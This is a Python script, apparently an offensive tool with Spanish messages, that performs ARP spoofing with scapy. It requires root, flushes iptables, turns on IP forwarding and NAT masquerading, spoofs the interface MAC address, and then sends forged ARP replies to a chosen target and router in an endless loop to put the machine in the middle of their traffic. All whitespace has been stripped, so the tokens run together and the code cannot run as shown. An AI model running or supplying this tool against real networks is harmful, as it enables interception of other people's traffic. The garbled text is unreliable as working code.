importosimportargparseimportsubprocessimportscapy.allasscapyimporttimeimportsignalimportsysimportuuidfromtermcolorimportcoloreddefdef_handler(sig,frame):print(colored(f"\n[!] Saliendo del programa...\n","red"))sys.exit(1)signal.signal(signal.SIGINT,def_handler)defget_arguments():parser=argparse.ArgumentParser(description="ARP Spoofer")parser.add_argument("-t","--target",required=True,dest="ip_address",help="Host / IP Range to Spoof")parser.add_argument("-r","--router",required=True,dest="ip_router",help="Router IP to Spoof")returnparser.parse_args()defroot():ifsubprocess.check_output(["whoami"]).decode().strip()=='root':returnTruedefrequirements():os.system("iptables --flush")os.system("iptables --policy FORWARD ACCEPT")os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")os.system("iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE")os.system("iptables -A FORWARD -i ens33 -j ACCEPT")os.system("macchanger ens33 -m aa:bb:cc:44:55:66 >/dev/null")defspoof(ip_address,spoof_ip):arp_packet=scapy.ARP(op=2,psrc=spoof_ip,pdst=ip_address,hwsrc="aa:bb:cc:44:55:66")scapy.send(arp_packet,verbose=False)defmain():ifroot():requirements()arguments=get_arguments()whileTrue:spoof(arguments.ip_address,arguments.ip_router)spoof(arguments.ip_router,arguments.ip_address)time.sleep(2)else:print(colored("\n[!] Este script necesita ser ejecutado por el usuario root.","red"))if__name__=='__main__':main()